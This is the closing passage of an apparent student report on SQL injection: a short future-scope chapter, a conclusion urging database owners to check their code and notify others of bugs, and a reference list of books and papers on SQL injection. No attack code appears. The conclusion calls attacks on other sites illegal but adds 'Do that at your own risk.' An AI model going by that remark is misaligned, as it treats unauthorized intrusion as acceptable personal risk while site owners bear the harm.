mate SQL Injection testing. The SPI Toolkit is available at http://www.spidynamics.com CHAPTER 10 FUTURE SCOPE The study of SQL Injection will lead in prevention of database hacking. It is he lpful to develop new techniques which in future will not have any backdoors for the intruders to attack any particular web application. These techniques will lead to development

to the tools which will investigate scope of SQL Injection worm attacks. Oracle Servers would not be trapped if these SQL Injection tools and backdoors are blo cked. In future we will able to reduce the vulnerabilities to the web applicatio n. CHAPTER 11 CONCLUSION This article is to make aware the people who are anyways related to database maintenance say DBA, Site owner, Computer science students involving in projects related to database and to general people who are launching their sites on inter net. Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls. So, before launching your site or when checking your site try to check atleast t he codes what are illustrated in this article and if you find any bugs please correct it as soon as possible and if its not your website then please inform the owner through mail o r phone that that site has bugs( be ethical) else attacking on other sites using this te chnique is illegal. Do that at your own risk. CHAPTER 12 REFERENCES 10.1. BOOKS 1.SQL Injection Defenses First Edition, by Martin Nystrom, release date March 20 07. 2.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Sha h,2008. 10.2. WEB SITES 1. SQL Injection http://www.spidynamics.com/papers/SQLInj...ePaper.pdf 2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com 3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced...ection.pdf 4. Detection techniques http://www.securiteam.com//papers/detection-techniques 5. Defenses against SQL Injection http://www.blackhat.com/presentations/win-usa01/Litchfield/BHWin01Litchfield.doc